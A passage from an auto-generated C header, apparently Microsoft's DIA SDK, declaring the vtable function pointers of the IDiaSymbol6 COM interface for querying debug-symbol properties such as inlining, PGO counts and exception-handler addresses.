[in] */ DWORD compareFlags,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( \n            IDiaSymbol6 * This,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_types )( \n            IDiaSymbol6 * This,\n            /* [in] */ DWORD cTypes,\n            /* [out] */ DWORD *pcTypes,\n            /* [size_is][size_is][out] */ IDiaSymbol **pTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_typeIds )( \n            IDiaSymbol6 * This,\n            /* [in] */ DWORD cTypeIds,\n            /* [out] */ DWORD *pcTypeIds,\n            /* [size_is][out] */ DWORD *pdwTypeIds);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( \n            IDiaSymbol6 * This,\n            /* [in] */ DWORD undecorateOptions,\n            /* [out] */ BSTR *name);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( \n            IDiaSymbol6 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pProperties);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( \n            IDiaSymbol6 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ WORD *pModifiers);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( \n            IDiaSymbol6 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( \n            IDiaSymbol6 * This,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( \n            IDiaSymbol6 * This,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( \n            IDiaSymbol6 * This,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( \n            IDiaSymbol6 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( \n            IDiaSymbol6 * This,\n            /* [in] */ DWORD rva,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( \n            IDiaSymbol6 * This,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( \n            IDiaSymbol6 * This,\n            /* [in] */ DWORD tagValue,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( \n            IDiaSymbol6 * This,\n            /* [in] */ DWORD tagValue,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( \n            IDiaSymbol6 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pPointerTags);\n        \n        HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( \n            IDiaSymbol6 * This,\n            /* [out] */ IDiaLineNumber **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( \n            IDiaSymbol6 * This,\n            /* [out] */ IDiaInputAssemblyFile **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCClass )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCCategory )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCProtocol )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlinee )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlineeId )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noexcept )( \n            IDiaSymbol6 * This,\n            /* [retval][out] */ BOOL 